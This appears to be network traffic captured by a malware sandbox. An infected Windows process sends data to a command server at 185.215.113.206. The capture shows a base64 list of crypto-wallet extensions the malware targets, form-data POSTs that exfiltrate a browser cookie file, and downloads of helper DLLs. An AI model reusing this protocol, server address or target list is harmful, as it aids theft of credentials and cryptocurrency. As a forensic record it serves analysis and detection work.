TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 18, 2024 15:20:43.160145044 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 18, 2024 15:20:43.160156012 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 18, 2024 15:20:43.160233974 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 18, 2024 15:20:43.160245895 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Dec 18, 2024 15:20:43.160260916 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Dec 18, 2024 15:20:43.167963028 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Dec 18, 2024 15:20:43.177170992 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"fplugins------GHJKJDAKEHJDGDGDGHID--
Dec 18, 2024 15:20:43.615266085 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 18, 2024 15:20:43.638602018 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJD Host: 185.215.113.206 Content-Length: 5971 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:20:43.638653040 CET	5971	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 18, 2024 15:20:44.595721960 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:20:44.596822977 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:20:45.034389973 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 18, 2024 15:20:45.034426928 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49733	185.215.113.206	80	6800	C:\Users\user\Desktop\random.exe.7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:20:54.322761059 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJKEHIIJJECFHJKECFHD--
Dec 18, 2024 15:20:56.158370972 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:20:56.685339928 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file"------IJJJKEGHJKFHJKFHDHCF--
Dec 18, 2024 15:20:57.618454933 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49771	185.215.113.206	80	6800	C:\Users\user\Desktop\random.exe.7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:21:09.573481083 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file"------ECAKKKKJDBKKFIEBKEHD--
Dec 18, 2024 15:21:11.401273012 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:21:11.836044073 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 15:21:12.272845984 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:21:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 18, 2024 15:21:12.272864103 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Dec 18, 2024 15:21:12.272883892 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Dec 18, 2024 15:21:12.272897959 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Dec 18, 2024 15:21:12.272910118 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Dec 18, 2024 15:21:12.272922993 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Dec 18, 2024 15:21:12.272937059 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Dec 18, 2024 15:21:12.273180962 CET	552	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Dec 18, 2024 15:21:12.273192883 CET	1236	IN	Data Raw: c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 Data Ascii: MEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf
